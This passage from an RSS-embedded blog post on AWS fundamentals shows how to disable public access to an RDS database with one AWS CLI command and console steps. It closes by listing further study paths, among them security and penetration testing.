an inbound rule with AWSCLI and configured RDS for external access. Now delete everything through the web console.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0043.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The second step is to disable remote access to RDS.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws rds modify-db-instance --db-instance-identifier mydatabase --no-publicly-accessible --apply-immediately&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Steps:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Go to the &lt;strong&gt;AWS console&lt;/strong&gt; → &lt;strong&gt;RDS service&lt;/strong&gt;.&lt;/li&gt;&#10;&lt;li&gt;Find your &lt;code&gt;database-1&lt;/code&gt; database in the &lt;strong&gt;Database instances&lt;/strong&gt; list.&lt;/li&gt;&#10;&lt;li&gt;Click &lt;strong&gt;Modify&lt;/strong&gt;.&lt;/li&gt;&#10;&lt;li&gt;Find the &lt;strong&gt;Connectivity&lt;/strong&gt; section and clear &lt;code&gt;Publicly accessible&lt;/code&gt;.&lt;/li&gt;&#10;&lt;li&gt;Choose &lt;strong&gt;Apply Immediately&lt;/strong&gt; or &lt;strong&gt;Wait for the maintenance window&lt;/strong&gt;.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Save the changes&lt;/strong&gt; and &lt;strong&gt;wait for the RDS instance to restart&lt;/strong&gt;.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0044.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I already deleted mine, so I will not include screenshots of these steps.&lt;/p&gt;&#10;&lt;h2 id="fundamentals-complete"&gt;&lt;a href="#fundamentals-complete" class="header-anchor"&gt;&lt;/a&gt;Fundamentals Complete&#10;&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;That completes the fundamentals. If you need to set up a service, define a baseline, configure access control, manage storage, or do anything similar, everything covered above can help you do it. You can even use what you learned to build a free web server with a solid architecture spanning several different services.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;There are plenty of directions to go next. I could take AWS Certified Security – Specialty first, for example, or choose one of the following:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Follow the security path: dig deeper into IAM, VPC, attack-and-defense exercises, and penetration testing&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Follow the DevOps &amp;amp; automation path: Terraform, CI/CD, and Serverless&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Explore specialized AWS services: AI, IoT, blockchain, and more&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;strong&gt;CI/CD appears quite a lot in Jenkins, Azure DevOps, and similar platforms. I am not sure whether AWS&amp;rsquo;s built-in DevOps tooling can be used to carry out penetration testing. My next step is penetration testing on the security track.&lt;/strong&gt;&lt;/p&gt;&#10;</description></item></channel></rss>